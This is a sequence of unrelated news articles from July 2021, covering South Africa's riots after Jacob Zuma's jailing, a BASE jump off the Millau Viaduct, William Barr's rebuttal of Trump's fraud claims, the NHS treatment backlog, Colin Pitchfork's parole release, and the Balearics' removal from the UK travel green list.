How former president criminal Jacob Zuma's jail sentence sparked chaos The unrest started in Jacob Zuma's home province of KwaZulu-Natal on Thursday after the former president was jailed. The 'garden province', whose largest city is Durban, still has strong support for Zuma who remains popular among many poor South Africans, especially grassroots members of the ANC, who see him as a defender of the disadvantaged. The violence soon spread to Gauteng, the economic hub of South Africa that contains Johannesburg and the deprived township of Soweto, its name an abbreviation of South Western Townships. The country is in a deep economic malaise, with cripplingly high levels of unemployment exacerbated by the pandemic. Those hardest hit have been South Africa's poor and black populations. Soweto, where Nelson Mandela lived for 16 years, is made up of 99 per cent black people, whose most common first language is Zulu. The township was originally created to house black Africans who worked in white factories and houses, and the few businesses allowed in the area were heavily controlled by the apartheid state. Many in Soweto are still too poor to pay for electricity with more than half of people under 35 unemployed. Similarly, KwaZulu-Natal is a predominantly black and Zulu population with an estimated 3.2million people living in poverty out of a population of 10.5million. Nationally, the pandemic has worsened conditions with record levels of unemployment at 32.6 per cent, rising to 46.3 per cent among young people. Zuma's popularity among poor black Africans combined with their extreme poverty has proved a tinderbox for the country's latest violence. Advertisement

'It's inevitable that we will have fuel shortages in the next couple of days or weeks,' Layton Beard, spokesman for South Africa's Automobile Association, said.

Outside a branch of a popular supermarket in northern Durban's Eastman region, around 400 people started lining up to buy food, hours before the shop was due to open.

'With these lootings, it's an inflection point... this has now seriously compromised our energy security and food security,' warned Bonang Mohale, chancellor of the University of the Free State and a professor of business and economics studies.

'It has created disruption to the coronavirus vaccine rollout and deliveries to hospitals,' he added.

Christo van der Rheede, executive director of the largest farmers' organisation, AgriSA, said producers were struggling to get their crops to market because the logistical network was in a 'shambles'.

'We need the restoration of law and order as soon as possible, because we are going to have a massive humanitarian crisis,' van der Rheede said.

The police last night confirmed that the number of people who have lost their lives in the looting so far has risen to 72.

Most of the deaths 'relate to stampedes that occurred during incidents of looting of shops', the police statement said.

Others were linked to shootings and explosions of bank ATMs.

The number of arrests has risen to 1,234, although many thousands have been involved in the ransacking sprees.

Earlier TV footage showed dozens of women, some wearing their dressing gowns, men and even children strolling into a butcher in Soweto, coming out balancing heavy boxes of frozen meat on their heads or shoulders.

Police showed up three hours later and fired rubber bullets. Soldiers eventually followed.

In Alexandra township north of Johannesburg, hundreds of people streamed in and out of a shopping mall, freely grabbing groceries.

Looters who spoke to AFP said they had got caught up in the rush, or saw the chance to ease a life blighted by poverty.

'I'm really not concerned about Zuma. He is a corrupt old man that deserves to be in jail,' said a 30-year-old man who works at a car wash.

He admitted to 'taking things from the shop for my mum' - stainless-steel pots, meat and groceries.

In Pietermaritzburg, KwaZulu-Natal's capital, people hauled boxed refrigerators through bushes to a long line of cars that were parked along a highway.

In Durban, aerial footage showed hundreds of people looting a large shopping centre and carting off huge boxes of goods.

A woman was seen throwing her baby from the first floor of a building to save her from fire after shops below her apartment were set on fire. The child safely landed with a group of people on the street.

In his nationwide address Monday night, Ramaphosa lashed 'opportunistic acts of criminality, with groups of people instigating chaos merely as a cover for looting and theft'.

'The path of violence, of looting and anarchy, leads only to more violence and devastation,' Ramaphosa said.

The chair of the African Union Commission condemned 'the surge of violence that has resulted in the deaths of civilians and appalling scenes of the looting', calling 'for an urgent restoration of order'.

Video footage shared to Twitter on Monday showed people resorting to shooting at looters in a bid to protect their businesses as looting continues in the Gauteng and KwaZulu-Natal provinces

In the clip, a line of shop and property owners fired on the rioters from afar before running closer and continuing to shoot, while the crowds protected themselves behind road signs and ran off the road amid the chaos

A member of the South African Police Services (SAPS) fired rubber bullets at rioters looting the Jabulani Mall in Soweto on Monday

South African police force suspected looters to lie down after apprehending them in Soweto on Tuesday

Suspected looters who surrendered to armed private security officers are marched outside in a flooded mall in Vosloorus on Tuesday

Afire engulfs Campsdrift Park, which houses Makro and China Mall in Pietermaritzburg on Tuesday

The deployment of 2,500 soldiers to support the South African police has so far failed to stop the rampant looting, although arrests were being made in some areas in Johannesburg, including Vosloorus in the eastern part of the city

Shopkeepers have been firing at looters. Pictured: A self-armed local looks for looters inside a supermarket in Durban

Mother recounts terrifying moment she threw her toddler from burning building A mother has described the terrifying moment she was forced to throw her toddler from their burning building after looters and rioters set fire to the shops below. Naledi Manyoni, 26, lives on the 16th floor of the Durban building with her two-year-old daughter Melokuhle and her fiance. After smelling smoke on Tuesday, Manyoni made the decision to throw Melokuhle into the arms of strangers on the street to save her from the blaze. Naledi Manyoni (right in black) dangles her two-year-old daughter Melokuhle before dropping her into the arms of strangers 'They kept screaming 'throw her' and I was, they kept helping me,' Manyoni said. 'A woman came close but I didn't trust her cause she was alone so they started coming together until there were a lot and I threw her and I was afraid. After throwing her I held my head in shock but they caught her.' 'What was important was for my daughter was to be out of that situation because my grandmother did warn me about this situation. So all I wanted was for her to be saved, I couldn't escape alone and leave her behind.' Manyoni said her young daughter has been 'scared and restless at night' following the frightening ordeal. Advertisement

The largest opposition party, the Democratic Alliance, announced Tuesday it would file criminal charges against Zuma's children and the leader of the leftist Economic Freedom Fighters (EFF), Julius Malema.

In a statement, the party accused them of using 'social media to express comments which appear to encourage and incite the violence and looting.'

Wielding sticks, guns and metal rods, minibus owners on Wednesday patrolled a ransacked shopping mall in Johannesburg to stop the looting of stores destroyed by mobs, adding further violence to the unrest in South Africa.

Concerned about loss of income from shoppers and staff no longer travelling to the mall, dozens of local commuter minibus operators decided to take matters into their own hands and crack down on looters, undeterred by security forces.

They trudged through the debris littering Chris Hani mall, near the southeastern Johannesburg township of Vosloorus, dragging suspected looters outside for a violent beating.

Screams and gunshots filled the air as the group clamped down on their victims with sticks, clubs and whips.

One man who tried to escape was hit over the head with a glass bottle and dragged back, blood streaming down his neck.

Police and soldiers stood out of sight, near the main entrance to a large car park, where they would later take in captives brought over with their hands tied.

'The malls are being looted, people are not working... so now we are stuck,' said taxi official Abel, who did not wish to give his full name.

Township residents had meanwhile gathered in a nearby cemetery around the body of a teenage boy, allegedly shot by the same group earlier in the day.

Taxi associations are notoriously violent in South Africa, where they oversee an informal public transport network served by trademark white minibuses.

Their involvement has raised concern within the government, which has warned against mob justice compounding some of the worst unrest South Africa has seen in years.

'If we have everybody taking up arms we stand a risk of having unruly elements also hijacking the noble efforts of the community,' acting presidency minister Khumbudzo Ntshavheni told a news briefing on Wednesday, urging citizens to work with law enforcement agencies.

Looting swiftly followed protests over the jailing of South Africa's graft-accused former president Jacob Zuma, who is viewed by many as a defender of the poor.

Unrest has raged for almost a week, with impacts on supply chains and transport links that could lead to fuel and food shortages.

At least 72 people have died and more than 1,200 have been arrested, according to official figures.

While mobs caused the initial damage, many of the looters are now township dwellers struggling to feed their families - hardships made worse by the pandemic.

As police cars and forensic teams drove away, some onlookers tentatively inched back towards the mall.

Taxi owners picked up their weapons and went back inside for another round.

Once dubbed the 'Teflon president', Zuma was handed the jail term on June 29 by the Constitutional Court for bucking an order to appear before a commission probing the graft that proliferated under his administration.

He started serving the term on Thursday after handing himself in to authorities.

He is seeking to have the ruling set aside.

Zuma, 79, is a former anti-apartheid fighter who spent 10 years in jail in the notorious Robben Island jail off Cape Town.

He rose in democratic South Africa to vice president and then president, before being ousted by the ruling African National Congress (ANC) in 2018 as scandals proliferated.

But he remains popular among many poor South Africans, especially grassroots members of the ANC, who portray him as a defender of the disadvantaged.

South Africa is deep in an economic malaise, with cripplingly high levels of unemployment. Economic activity had already been badly affected by restrictions to stop the spread of coronavirus.

A woman was filed dropping her toddler from the roof of a burning shopping mall in Durban after looters ransacked the shops below and then set fire to them, threatening the apartment block above

A crowd in the street could be seen catching the child and taking them to safety, leaving the mother to find another route out of the burning building

Empty shelves at a shopping mall in Durban, which has fallen victim to looting during the chaos following Zuma's arrest

South Africa entered the fifth day of rioting on Tuesday with the death toll rising to 32 as police and the military struggle to quell the looting (pictured: Jabulani Mall in Soweto) and violence in Gauteng and KwaZulu-Natal provinces

A police officer stands on the arm of a suspected looter while another man wields an iron bar during the violent scenes in Johannesburg on Tuesday

Angry locals launch rocks at police officers near the entrance of a looted shopping mall after the fifth day of ransacking in South Africa

A woman wrapped in a blanket in the colours of the ruling ANC party walks past the bodies of two young men who were fleeing the police when they fell into a sewage pit and drowned in Vlakfontein, Johannesburg on Tuesday

Metro police officers fire at protesters at Jabulani mall as the country deploys army to quell unrest linked to jailing of former President Jacob Zuma in Soweto on Monday

Police take to the streets in the Gauteng region on Tuesday

A South African National Defence Force (SANDF) soldier along with South African Police service officers detain suspected looters at the Jabulani mall in Soweto on the outskirts of Johannesburg on Tuesday

A self-armed local looks for looters inside a supermarket following protests that have widened into looting, in Durban, on Tuesday
A French thrill-seeker captured the moment he rode a skateboard off the world's tallest bridge.

The daredevil, Jumaidee Elias, was joined by friends as he hopped on his board and rode down a rail on the Millau Viaduct, in southern France, before plunging off.

'I did my first skate base the other day,' Elias wrote on Instagram. 'Truly terrifying, but it worked!'

In the clip, recorded on July 5, Elias can be seen talking in French with a friend as he readies his skateboard along the side of the bridge.

As the cameraman tells says, 'Let's go!,' Elias begins to balance himself on his board and steels himself for the ride.

The skateboarding only for about a second until Elias hits the edge and falls 900ft below.

Then he opens his parachute and glides down to the valley below.

Daredevil Jumaidee Elias lined up his skateboard along a rail on France's Millau Viaduct, the world's tallest bridge, and as his cameraman yelled 'Let's go,' he rode off

The skate ride lasted less than a second as both the board and Elias fell off the side and plunged 900ft to the valley below

The stunt comes less than a month after Elias completed a bungee jump skydive at the bridge, where he bungee jumped with a friend and then released himself from the cord to fulfill the base jump, complete with flips and a parachute landing.

On Instagram, Elias, a tattoo artist, explains that bungee jumping has become a great hobby for him and his friends during the pandemic lockdowns.

'With all the seriousness in life, don't forget to have fun friends,' Elias said.

This was Elias's second jump off the bridge. As he enjoyed his second fall, before his parachute set off, the camera man could only say, 'Cool,' as he watched Elias's stunt.

The Millau Viaduct is the world's tallest bridge - and even stands 62ft higher than the Eiffel Tower.

It spans the Tarn river valley in the Massif Central near the town of Millau.

Its deck height is 890ft with the masts adding another 280ft - making its highest point more than 1,100ft from the bottom of the valley.

The Millau Viaduct, located in southern France, stands as the world's tallest bridge - and even stands 62ft higher than the Eiffel Tower.

It was designed by French engineer Michael Virlogeux and English architect Sir Norman Foster.

The viaduct forms part of the A75 to A71 autoroute between Paris, Beziers, and Montpellier.

The bridge cost nearly 310million to build and officially opened for business in 2004.
Donald Trump's former attorney general has pushed back against suggestions from the former president that federal authorities were ordered not to aggressively investigate claims of fraud during the 2020 presidential election.

Trump argued in a statement that William McSwain, the former US attorney in Philadelphia, was blocked from pursuing claims of election tampering.

His statement was accompanied by a two-page letter from McSwain, which suggested that then-Attorney General William Barr instructed him not to release statements about 'possible election irregularities', according to Politico.

But Barr, 71, has hit back against the claims from Trump and McSwain, insisting that he never told anyone not to pursue fraud allegations after the election.

William Barr (pictured) hit back against claims from Donald Trump and William McSwain, saying he never told anyone not to pursue fraud allegations after the 2020 election

He told Politico: 'It's written to make it seem like I gave him a directive. I never told him not to investigate anything.'

Barr has previously said that he opened an investigation because he knew Trump was going to confront him about claims of fraud and a 'rigged' election.

The US intelligence community looked into the claims in the weeks after the election, but found no evidence of fraud 'on a scale that could have effected a different outcome in the election'.

Trump's statement, released on Monday evening, claimed that McSwain was 'precluded' from investigating claims of fraud in the 2020 presidential election vote.

The statement, which reportedly came alongside a letter from McSwain asking for Trump's endorsement in the Pennsylvania governor's race, read: 'U.S. Attorney from the Eastern District of Pennsylvania was precluded from investigating election fraud allegations. Outrageous!'

Meanwhile, McSwain's letter, dated June 9, reportedly implied that Justice Department officials put restrictions on his ability to investigate the claims of fraud.

Donald Trump (right with Barr) reportedly argued in a statement that William McSwain, the former US attorney in Philadelphia, was blocked from pursuing claims of election tampering

He wrote: 'I wanted to be transparent with the public and, of course, investigate fully any allegations.

'Attorney General Barr, however, instructed me not to make any public statements or put out any press releases regarding possible election irregularities.'

Barr, who publicly began distancing himself from the former president's claims of widespread fraud after the November election, denied ever telling McSwain not to probe any allegations of ballot irregularities.

Barr reportedly spoke to McSwain on Monday after hearing about the letter and said that Trump was pressuring McSwain to claim that Barr had not fully investigated the election fraud probes.

Barr said he warned the former US attorney against easing Trump's concerns without claiming that the fraud went unchallenged, adding that McSwain was trying to give the impression that things were not 'adequately' investigated.

He added that six days after the election, he authorized all US attorneys to pursue ballot fraud and irregularities, with many at the time claiming that he was folding to nonsensical claims by Trump.

Following Joe Biden's declared win in November 2020, Trump immediately launched his campaign of widespread voter fraud by Democrats and began a series of lawsuits and probes into the election  especially involving the mass amount of mail-in ballots in the midst of the coronavirus pandemic.

The former president is still spewing these claims, including last month at his first post-presidency rally in Ohio, where he said that he is the legitimate election winner.

'This was the scam of the century and this was the crime of the history,' he said to a crowd gathered June 26 in Wellington, Ohio.

In the weeks following the November election, Barr - until then a staunch Trump ally - publicly began distancing himself from the former president's wild claims of widespread fraud.

Trump's statement was accompanied by a two-page letter from former U.S. Attorney William McSwain (pictured), which suggests that Barr instructed him not to release statements about 'possible election irregularities'

Trump had made personal calls to US attorneys in swing districts urging them to open an investigation into Biden's victory, according to an excerpt of Michael Wolff's book, 'Landslide: The Final Days of the Trump Presidency,' in the Daily Beast.

When they didn't, he turned his anger toward an increasingly distant Barr, claiming 'If I had won, Barr would have licked the floor if I asked him to. What a phony!'

Wolff's third book on the Trump White House delves into the dramatic fallout of an outgoing president desperately trying to cling to power - even as his own circle expressed unease.

Barr resigned from his role in early December and stepped down after Christmas, seemingly drawing a line after months of walking in lockstep with Trump.

He said in the weeks following the election the U.S. intelligence community found no evidence of fraud 'on a scale that could have effected a different outcome in the election' in an interview with The Associated Press.

Months later Barr went even further and told The Atlantic that Trump's claims were 'bulls**t' and he suspected 'all the way along' that 'there was nothing there'.

In a report from Axios, Jonathan Karl said in a story published in The Atlantic in June that Barr concluded early on when declaring the investigation that it was highly unlikely that any evidence existed that would change that outcome of the election.

'My attitude was: It was put-up or shut-up time,' Barr said. 'If there was evidence of fraud, I had no motive to suppress it.

William Barr (pictured) began distancing himself from Donald Trump's claims of widespread fraud after the election

Donald Trump (pictured on July 7) called William Barr a 'phony' after the former president failed to find a US attorney to probe the 2020 election results, a new book claims

'But my suspicion all the way along was that there was nothing there. It was all bulls**t.'

His apparent initial suspicions did not dissuade him from launching an investigation into 'substantial allegations' that could 'potentially impact the outcome' of the race, just days after Biden was declared the 46th president, according to a Justice Department memo.

Barr said he opened an investigation because he knew former Trump was going to confront him about his claims of fraud and a 'rigged' election, and he wanted to be able to say he looked into it and found nothing.

It was after pressure from fellow DOJ officials and Senate Majority Leader Mitch McConnell of Kentucky that Barr voiced his opposition.

The former attorney general also said that McConnell urged him to speak out against Trump's election fraud claims because he felt he wasn't in a good position to do so himself.

In the months leading up to the election, Barr also echoed his boss's unfounded criticisms of mail-in voting. He likened it to 'playing with fire' in an interview with CNN.

Barr's sudden and direct criticism of Trump was seemingly a first for the longtime lawyer.

He previously dismissed allegations over Trump's 2016 campaign seeking help from Russia as a 'bogus narrative' and even appointed U.S. Attorney John Durham to investigate Special Counsel Robert Muller's probe of that election - which turned up no meaningful results and has now gone on longer than Mueller's.
England's backlog of patients waiting for routine treatment will take at least three years to clear, according to the departing boss of the NHS.

Sir Simon Stevens warned 13million people will be left needing care 'if no action was taken'  more than a quarter of all adults in England.

An all-time high of 5.3million people are already waiting for operations such as knee and hip replacements, with coronavirus having caused massive disruption across the health service.

Newly-appointed Health Secretary Sajid Javid this week revealed he was 'shocked' at projections the waiting list could more than double in size by the end of the year.

Sir Simon, who will stand down from his chief executive role later this month, said it is unlikely to hit such high levels because the NHS won't sit on its hands in tackling the backlog.

But speaking to a Royal Society of Medicine webinar, he claimed 'effective action' was needed to fix the problem.

NHS England figures show more than 5.3million people are waiting for treatment in England, the highest number since records began in 2007. Ministers fear the list could surge to 13million

Sir Simon Stevens warned 13million people would be waiting for treatment 'if no action was taken'

More than 1,200 experts attack No10 over July 19 More than 1,200 leading scientists are rebelling against No10's decision to push ahead with 'Freedom Day' on Monday, slamming the move as 'criminal' and branding the Government's return to pursuing herd immunity 'unethical'. A coalition of experts and doctors signed a letter in the medical journal The Lancet critiquing Boris Johnson's 'unscientific' decision last night, amid soaring Covid infection numbers and rising hospitalisations and deaths. The group  including four prominent SAGE experts  claimed millions more adults need to be double-vaccinated and doses should start being given out to children as well for easing restrictions to be safe. It came as Britain recorded 50 Covid deaths for the first time since April, while cases showed no sign of slowing down, jumping by a quarter in a week to another six-month high with 36,660 positive tests. Among the signatories are David Cameron's former Chief Scientific Adviser Sir David King, as well as BMA council chair Dr Chaand Nagpaul, former and Professor Christina Pagel, a mathematician at University College London and Independent SAGE member. The Prime minister confirmed that all restrictions would be dropped next week. However No10 has dropped all mention of the final stage of its roadmap being 'irreversible', with one minister today hinting that the drastic action could be adopted once again this winter. Advertisement

He added: 'Clearly, that is not what ought to happen over the next three years or 30 months or so.

'It is possible to put in place the extra resources, the operating capacity, new ways of doing fast diagnostics, that will mean that doesn't come to pass.

'But that is... what, absent any effective action, could come about.'

Hospitals face 'three big uncertainties' as they try to squash the waiting list, he said.

Sir Simon, who will be joining the House of Lords, said: 'The first is how many coronavirus patients will they be looking after over the next 12, 24, 36 months.

'Secondly, will there be the opportunity to adjust some of those constraints on the infection control requirements which obviously it's vital are in place while they're needed.

'And thirdly what will be the extent of patients coming forward for care when they didn't do so over the last 15 or 18 months?'

As it stood at the end of May, 5.3million people in England were waiting for treatment.

The waiting list has continued to grow throughout the pandemic and the latest figure is the highest since records began in 2007.

But health chiefs have already said they are starting to make a dent in the backlog, with people waiting longer than 18 weeks for routine ops  like hip replacements and cataract surgery  dropping by more than 80,000 in May.

Hospitals also picked up treatment for those who had been waiting more than one year for treatment.

Meanwhile, Labour analysis last night revealed one in ten people are waiting for routine NHS treatment in nearly two-dozen areas of England.

Figures show 22 of 106 clinical commissioning groups  NHS bodies that manage care in local areas  were recording waiting lists that had spiralled to a tenth of their population.

More than one in seven people were waiting for care in Birmingham and Solihull, which was the worst-hit part of the nation according to data from the House of Commons Library.

Shadow health secretary Jonathan Ashworth urged ministers to 'bring forward the investment needed to bring waiting lists down' and abandon plans to reform the NHS.

Mr Javid is planning to merge all CCGs into integrated care systems, which will have bigger budgets and oversee healthcare in much larger areas.

But Mr Ashworth accused the Government of 'embarking on a top down reorganisation of the NHS' at the wrong time.

Critics have slammed the reform  the biggest shake-up of the health service for a decade  as a power grab that could open the door to privatising the health service.
The sister of one of depraved Colin Pitchfork's murder victims today said he should be castrated and have the fact that he is a paedophile tattooed on his face before he is freed.

Double child killer Pitchfork is set to be released from prison after a challenge from the Ministry of Justice against a Parole Board ruling was rejected.

Pitchfork, now in his early 60s, was jailed for life after raping and strangling 15-year-olds Lynda Mann and Dawn Ashworth in Leicestershire in 1983 and 1986.

He became the first man convicted of murder on the basis of DNA evidence in 1988 after admitting two murders, two rapes, two indecent assaults and conspiracy to pervert the course of justice.

Lynda's sister Sue Gatrick, 55, exclusively told MailOnline: 'He could kill again. He could rape again. And he could put someone else through it. It is just not right.

'There should be pictures of how he looks now  because he has changed so much  plastered everywhere. He should have it tattooed on his head that he is a nonce, that he is a danger. Then he should be castrated.

'He cannot change his sexuality. He is not going to change his personality or who he is.

' I just hope another family does not have to go through what we have been through because they decided to release him and if - God forbid  he does it again.

'We thought with all these MPs backing us we thought we were getting somewhere.

Double child killer Pitchfork is set to be released from prison by the Parole Board

Victims: Furious relatives of the two schoolgirls murdered by a notorious paedophile have condemned a decision to let him go free. Left: Lynda Mann, right: Dawn Ashworth

Double child killer Colin Pitchfork (pictured in 1988) is set to be freed from prison after the Parole Board rejected the Ministry of Justice's challenge against its ruling to release him

'It is so wrong. They would not let Huntley out. They would not let Sutcliffe out. So why do they think he is so different - because he isn't.

'It is just not right. I was 17 when it happened and wanted to put it all behind me but now I can't.

'I suppose it was inevitable he would eventually get out but it should not be.

'The only hope is that he dare not put a foot wrong now because of DNA and everything else. I hope he meets someone one day, someone who also does not want to see him free. Then we might get justice even if it is rough justice.'

Following a hearing in March, the Parole Board ruled he was 'suitable for release', despite this being denied in 2016 and 2018.

But last month Justice Secretary Robert Buckland asked the board, which is independent of the Government, to re-examine the decision under the so-called reconsideration mechanism.

On Tuesday the Parole Board announced the application had been 'refused'.

A spokesman said in a statement: 'The Parole Board has immense sympathy for the families of Dawn Ashworth and Lynda Mann and recognises the pain and anguish they have endured and continue to endure through the parole process.

'However, Parole Board panels are bound by law to assess whether a prisoner is safe to release.

An artist's file impression of Pitchford appealing the length of his sentence at the Court of Appeal in London. Following a hearing, the Parole Board said he was 'suitable for release'

A police van containing Richard John Buckland, a learning disabled man who pleaded guilty to murdering Dawn but was later exonerated after DNA evidence proved it was Colin Pitchfork

Pictured: Volunteers take tests to help the investigating police officers find the murderer of Leicestershire schoolgirls Lynda Mann and Dawn Ashworth on January 5 in 1987 (file photo)

The double child killer snared by DNA who terrified the community The crimes of Colin Pitchfork created terror in the local communities where he had struck. On November 22, 1983, the body of 15-year-old Lynda Mann was found raped and strangled on a deserted footpath running between a cemetery and a psychiatric hospital in the Leicestershire village of Narborough. Almost three years later, in July 1986, the body of another 15-year-old, Dawn Ashworth, from nearby Enderby, was found in almost identical circumstances in a wooded area, less than a mile from the scene of Lynda's murder. The dead girl had been taking a shortcut home from school instead of her usual route, but there can be little doubt that her assailant, believing he had 'got away with it' once, was on the look-out for other teenagers to assault, terrorise and murder in the same way. Initially, a local man confessed to the second murder and his blood was found to be the same group as blood found at the scene. There can be no doubt that had it not been for advances in science, he would have been convicted while Colin Pitchfork remained free. However, two years later, semen samples found at the crime scenes were used to match the DNA of Pitchfork, a baker and convicted flasher. At first Pitchfork convinced a workmate to impersonate him at the DNA test centre. But the co-worker was in a pub and began telling friends how his colleague had asked him to switch the samples and it was reported to the police who arrested them both. Pitchfork became the first criminal in the world to be convicted based on DNA fingerprinting, following the first mass screening of 5,000 men in three neighbouring villages. After his arrest he confessed to his crimes and when asked why he is said to have shrugged to detectives and said: 'Opportunity. She was there and I was there'. He was given life and a minimum sentence of 30 years, reduced to 28 years on appeal, which he has now served. Advertisement

'It has no power to alter the original sentence set down by the courts. Legislation dictates that a panel's decision must be solely focused on what risk a prisoner may pose on release and whether that risk can be managed in the community.

'As made clear in the reconsideration decision, release was supported by all of the Secretary of State's witnesses during Mr Pitchfork's review.'

The reconsideration mechanism, introduced in July 2019, allows people to challenge the board's decision if they believe them to be 'procedurally unfair' or 'irrational'.

However, the provisions make clear that 'being unhappy with the decision is not grounds for reconsideration'.

The result of the latest legal review, carried out by senior Parole Board judge His Honour Michael Topolski QC, was made public this morning.

The Parole Board issued a statement, including the following comments by the judge.

He said: 'This was and remains a case of considerable seriousness, complexity and notoriety.

'The terrible consequences of the brutal rapes and murders of two innocent girls will forever darken the lives of the families concerned.

'A highly experienced and expert panel comprising of two judicial and one psychologist member had in essence two questions to decide.

'First, did the respondent need to remain in prison to complete any further offending work and secondly, could his risk be safely managed in the community?

'For the reasons I have given, I do not consider that the decision was irrational and accordingly, with my thanks to the parties for their submissions, the application for reconsideration is refused.'

The statement from the Parole Board added: 'We welcome this crucial safeguard in the system which allows an avenue for people to scrutinise our decisions.'

Pitchfork raped and murdered Lynda, 15, in November 1983, leaving her body near the Black Pad footpath, in Narborough.

He took 15-year-old Dawn's life in July 1986, and left her in Ten Pound Lane, also in Narborough.

Robert Buckland said last month he was taking advice on the matter and considering the case 'very carefully'.

It is understood the intervention was made on the grounds the board's decision may have been irrational.

Once the MoJ's application was received, the board decided whether its original decision to release Pitchfork should be formally reconsidered.

The threshold for reconsideration is high, and the same as is required for a Judicial Review.

Pitchfork, who was in his 20s at the time of the attacks, became the first man convicted of murder on the basis of DNA evidence and was jailed for life at Leicester Crown Court in 1988.

He pleaded guilty to two offences of murder, two of rape, two of indecent assault and one of conspiracy to pervert the course of justice. His minimum term was cut by two years in 2009.

He was sentenced to serve a minimum of 30 years.

Although he was denied parole in 2016 and in 2018, Pitchfork was moved to an open prison three years ago.

A document detailing the Parole Board decision said: 'After considering the circumstances of his offending, the progress made while in custody and the evidence presented at the hearing, the panel was satisfied that Mr Pitchfork was suitable for release.'

The panel considered more than 1,100 pages of information, victim statements and heard evidence from Pitchfork, as well as his probation officers, police and a psychologist.

According to the document, at the time of his offending Pitchfork thought 'about sex a lot', used 'violence and excessive force' and 'sex to demonstrate power and control over women'.

He also struggled to cope with anger, loneliness and had a willingness to 'seek revenge'.

During his time behind bars he has taken part in several courses to address his behaviour and the panel heard Pitchfork's 'behaviour in custody had been positive and had included extensive efforts to help others', including learning skills to help disabled people, the document said.

Pitchfork's release had been subject to strict licence conditions.
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Summer holiday plans for thousands of Britons were left in tatters last night after the Balearic islands were axed from the 'green list' just a fortnight after they were approved for quarantine-free travel - while Croatia and Bulgaria were given a tentative travel green light.

British favourites Ibiza, Majorca and Menorca have all been upgraded to the amber list amid surging infection numbers across the archipelago - which were visited by 3.8million Britons a year before the pandemic.

Double-jabbed Britons will still be able to return from the islands quarantine free - even though they are on the amber list - when travel rules change on July 19.

But the move will be a blow to younger holidaymakers who are not yet fully vaccinated and will now have to quarantine on their return to the UK or cancel their booking altogether.

However with one holiday blow came a holiday boost, with tourist hotspots Croatia and Bulgaria being given the green-light, along with Hong Kong and Taiwan.

Bulgaria and Hong Kong have been fully downgraded to the green list but Croatia and Taiwan are on what's known as the 'green watch list' which means they can be reverted back to amber at any moment.

However those looking for a quick switch from the Balearic Islands could face an uphill battle, with red tape potentially getting in the way of a trip to Croatia and Bulgaria.

The Foreign, Commonwealth and Development Office (FCDO) is yet to change its travel guidance - which currently advises against all but non-essential travel - in line with the Government's travel list.

And while the advice remains unchanged, travel experts say tour operators will not offer packages, while insurances will be invalid.

Industry experts last night warned the decision to remove the Balearic Islands will cause 'disarray' for thousands of holidaymakers and be a blow to travel firms.

Virginia Messina, senior vice president for the World Tourism Trade Council, told MailOnline: 'This will throw summer holidays into disarray for tens of thousands of people.

'Businesses given the lifeline of holidays to the Balearics will also be left floundering as bookings collapse and customers clamour for refunds, piling on further financial pressure. There may be some good news with Croatia and Bulgaria moving up the scale and being added to the green list.

'But the overall impact is one of confusion, which will only deter more Brits from holidaying abroad as the summer season slips away.'

Meanwhile, one unvaccinated couple told MailOnline they would have to cancel their trip to Ibiza to reunite with their grandchildren for the first time since the pandemic began, now that self-isolation rules for returning travellers are being re-imposed on the Balearics.

Another family who are due to fly to Menorca on Friday revealed that they were now stuck in limbo with travel agents and airlines refusing to offer refunds.

Others who flew out from Gatwick Airport this morning told MailOnline they were already considering cutting their holidays short to bypass the 10-day home quarantine.

Arriving back after Monday would also mean having to shell out as much as another 100 for an extra post-arrival Covid test.

Transport Secretary Grant Shapps showed no sympathy for the thousands of Britons who could be affected by the sudden change to the travel list, telling them that uncertainty was a 'fact of life'.

He said the reason the Balearics had been demoted to the Amber List was because Covid case rates there had more than doubled.

In other coronavirus developments:

A British couple were turned away from travelling to see their son in Malta after they were unknowingly given an Indian-made version of the AstraZeneca vaccine;

Mask rules descended further into chaos as Grant Shapps backed Sadiq Khan keeping them compulsory on the Tube, buses and taxis in London  even though they are not required on trains from 'Freedom Day';

Business leaders criticised the Government for 'mixed messages' over returning to the office ahead of the long-standing official 'work from home' order being scrapped in just five days' time;

Ministers were accused of using nightclubs as a proxy weapon to drive up youth coronavirus jab rates amid a furious row over Covid passports;

Ed Sheeran has been forced to quarantine for a second time after the singer was notified that he had come into contact with a Covid case;

A major Covid outbreak has struck a Royal Navy flotilla including 100 crew of the flagship HMS Queen Elizabeth after sailors allegedly went partying in Cyprus

Summer holiday plans for thousands of Britons were left in tatters last night after the Balearic islands were axed from the 'green list' just a fortnight after they were approved for quarantine-free travel. Pictured: A family prepare to jet off from Gatwick Airport

British favourites Ibiza, Majorca (pictured) and Menorca have all been upgraded to the amber list amid surging infection numbers across the archipelago

But tourist hotspots Croatia (pictured) and Bulgaria have been given the green-light, along with Hong Kong and Taiwan. Bulgaria and Hong Kong have been full downgraded to the green list but Croatia and Taiwan are on what's known as the 'green watch list' which means they can be reverted back to amber at any moment

He added: When people book, particularly to a green watchlist country, you need to make sure you can get your money back.

For some  children, those under 18 plus people who have been double vaccinated  you wont have to quarantine. Treat it as though it is still a green country. But it will mean some people... will have to come home.

Are these the figures that sparked the Government into putting the Balearic Islands back on the Amber List? The Balearic Islands 14-day new infection rate has surged to around 408 per 100,000 of the population. The total number of coronavirus cases across the islands on Wednesday stood at 4,896, up 6 per cent on the previous day. The number of adults who have been fully jabbed is 510,108, or 49.2 per cent of the adult population. Sixty-four per cent  or 665,809 people  have had their first jab. However, just 81 Covid patients were in hospital in Majorca. Advertisement

One woman, who had planned to fly to Ibiza this summer to see her sons with her husband, told MailOnline she was already planning to cancel her trip to the Balearic Islands. She said: 'My partner and I will have to cancel our holidays if Ibiza is going on the amber list.

'My sons are living there and I haven't seen them for two years, now we planned our holidays there so we could spend time with him.

'I haven't seen my sons and my grandchildren for so long time that it will kill me straight away if they don't allow us to travel and we are going into lockdown again. We have a new baby girl on the family and I'm afraid I won't be allowed to meet her.'

Amelia Ellis, 22, and Ben Randall, 23, were yesterday flying to green list Gibraltar from Gatwick and heading on to join her family on the Costa del Sol.

Ms Ellis, who has only had her first Covid jab, told MailOnline: 'I'd rather not have to isolate on the way back but if we have to then I'll work from home like I have been anyway. We might try to get home before the deadline if we have to.'

Cases were already shooting upwards before the archipelago was even added to No10's 'green list' on June 30. But they have continued to spiral following the influx of British holidaymakers.

Spanish newspapers have pointed the finger at young Spaniards travelling to the islands, and British experts say there is no proof yet that the decision to put Ibiza, Mallorca and Menorca on the green list is to blame for the rise in cases.

Those travelling to amber listed countries, such as mainland Spain, have to self-isolate for 10 days on their return to England.

However, as of July 19 the requirement to quarantine will be scrapped for the fully vaccinated and those aged under 18  but thousands of young adults are not yet eligible for their second jab.

